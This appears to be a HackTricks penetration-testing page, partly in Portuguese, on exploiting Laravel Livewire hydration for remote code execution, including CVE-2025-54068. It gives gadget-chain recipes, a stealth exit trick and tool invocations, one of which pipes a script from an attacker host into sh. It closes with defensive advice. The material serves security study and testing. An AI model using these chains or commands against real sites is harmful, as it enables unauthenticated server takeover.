Laravel Livewire Hydration & Synthesizer Abuse

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Recapitulação da máquina de estados do Livewire

Os componentes do Livewire 3 trocam seu estado por meio de snapshots que contêm data, memo e um checksum. Cada POST para /livewire/update reidrata o snapshot JSON no lado do servidor e executa as calls/updates enfileiradas.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Qualquer pessoa que possua APP_KEY (usada para derivar $hashKey) pode, portanto, forjar snapshots arbitrários recomputando o HMAC.

Propriedades complexas são codificadas como tuplas sintéticas detectadas por Livewire\Drawer\BaseUtils::isSyntheticTuple(); cada tupla é [value, {"s":"<key>", ...meta}].

O núcleo de hidratação simplesmente delega cada tupla ao sintetizador selecionado em HandleComponents::$propertySynthesizers e processa recursivamente os filhos:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

This recursive design makes Livewire a generic object-instantiation engine once an attacker controls either the tuple metadata or any nested tuple processed during recursion.

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple.
FormObjectSynth (form)Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties.
ModelSynth (mdl)When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control.

Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.

Forging snapshots when APP_KEY is known

  1. Capture a legitimate /livewire/update request and decode components[0].snapshot.
  2. Inject nested tuples that point to gadget classes and recompute checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode the snapshot, keep _token/memo untouched, and replay the request.

A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.

From function calls to full RCE

Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:

  1. Queueable trait – any object using Illuminate\Bus\Queueable exposes public $chained and executes unserialize(array_shift($this->chained)) in dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) is instantiated via CollectionSynth / FormObjectSynth with public $chained populated.
  3. phpggc Laravel/RCE4Adapted – the serialized blob stored in $chained[0] builds PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() finally calls call_user_func_array($closure, $args) enabling system($cmd).
  4. Stealth termination – by handing a second FnStream callable such as [new Laravel\Prompts\Terminal(), 'exit'], the request ends with exit() instead of a noisy exception, keeping the HTTP response clean.

Automating snapshot forgery

synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

A ferramenta analisa o snapshot capturado, injeta os gadget tuples, recalcula o checksum e imprime um payload /livewire/update pronto para envio.

CVE-2025-54068 – RCE sem APP_KEY

updates são mesclados no estado do componente depois que o checksum do snapshot é validado. Se uma propriedade dentro do snapshot é (ou se torna) uma synthetic tuple, Livewire reutiliza sua meta enquanto hidrata o valor de update controlado pelo atacante:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Encontre um componente Livewire com uma propriedade pública sem tipo (por exemplo, public $count;).
  2. Envie uma atualização que defina essa propriedade como []. O próximo snapshot agora a armazena como [[], {"s": "arr"}].
  3. Crie outro payload updates onde essa propriedade contenha um array profundamente aninhado que embuta tuplas como [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. Durante a recursão, hydrate() avalia cada filho aninhado independentemente, então as chaves/classes de synth escolhidas pelo atacante são aplicadas mesmo que a tupla externa e o checksum nunca tenham mudado.
  5. Reutilize as mesmas primitivas CollectionSynth/FormObjectSynth para instanciar um gadget Queueable cujo $chained[0] contenha o payload phpggc. Livewire processa os updates forjados, invoca dispatchNextJobInChain() e alcança system(<cmd>) sem conhecer APP_KEY.

Key reasons this works:

  • updates não são cobertos pelo checksum do snapshot.
  • getMetaForPath() confia em qualquer metadata de synth que já existia para aquela propriedade, mesmo que o atacante anteriormente a tenha forçado a se tornar uma tupla via tipagem fraca.
  • Recursão mais tipagem fraca permite que cada array aninhado seja interpretado como uma nova tupla, de modo que chaves synth arbitrárias e classes arbitrárias finalmente alcancem a hydration.

Livepyre – end-to-end exploitation

Livepyre automatiza tanto a CVE sem APP_KEY quanto o fluxo de signed-snapshot:

  • Identifica a versão do Livewire implantada ao analisar <script src="/livewire/livewire.js?id=HASH"> e mapeia o hash para releases vulneráveis.
  • Coleta snapshots base reproduzindo ações benignas e extraindo components[].snapshot.
  • Gera ou um payload somente updates (CVE-2025-54068) ou um snapshot forjado (APP_KEY conhecido) que embute a cadeia phpggc.

Uso típico:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check executa uma probe não destrutiva, -F ignora version gating, -H e -P adicionam headers ou proxies personalizados, e --function/--param personalizam a php function invocada pela gadget chain.

Considerações defensivas

  • Atualize para builds do Livewire corrigidas (>= 3.6.4 segundo o boletim do fornecedor) e aplique o patch do fornecedor para CVE-2025-54068.
  • Evite propriedades públicas fracamente tipadas em componentes Livewire; tipos escalares explícitos impedem que valores de propriedades sejam coergidos para arrays/tuples.
  • Registre apenas os synthesizers que você realmente precisa e trate metadata controlada pelo usuário ($meta['class']) como não confiável.
  • Rejeite atualizações que mudem o tipo JSON de uma propriedade (por exemplo, scalar -> array) a menos que explicitamente permitido, e re-derive synth metadata em vez de reutilizar tuples obsoletas.
  • Altere APP_KEY prontamente após qualquer divulgação, porque ela possibilita a falsificação offline de snapshots independentemente de quão corrigida a base de código esteja.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks